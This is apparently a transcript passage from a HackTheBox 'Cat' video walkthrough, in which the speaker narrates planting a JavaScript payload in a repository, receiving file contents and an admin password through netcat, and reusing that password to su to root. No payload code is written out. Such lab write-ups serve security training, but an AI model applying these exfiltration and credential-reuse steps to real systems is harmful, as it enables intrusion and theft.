Let's go ahead and send this. And then again uh we'll give it 20 seconds and hopefully we get the response back. And then when we do, we'll see the contents of index.php. PHP and our netcat and we'll see what this application is, right? And while that goes, let's see, were there anything else here? Um, maybe dashboard. I don't see any config. We may also want to grab the readme. That's another one we could. Um, still don't see it. I wonder. Let's just make sure this repository still exist. It does not. That cleanup script is really annoying.

HackTheBox - Cat


pone catpone.js.

HackTheBox - Cat


Grab this paste.

HackTheBox - Cat


Create repository. New file commit.

HackTheBox - Cat


Send. Okay, for real this time should work.

HackTheBox - Cat


So, give it 20 seconds. I'm gonna pause the video. And there we go. It did not even take 20 seconds. You can see um my terminal is still sleeping. But if we look, we have admin and then a password. And where is this authenticating to? Um employee management. But if I just go back to SSH and we try to su, that password worked for root. And there we go. We can get root.ext. So that's going to be the box. Hope you guys liked it. Take care and I'll see you all next

HackTheBox - Cat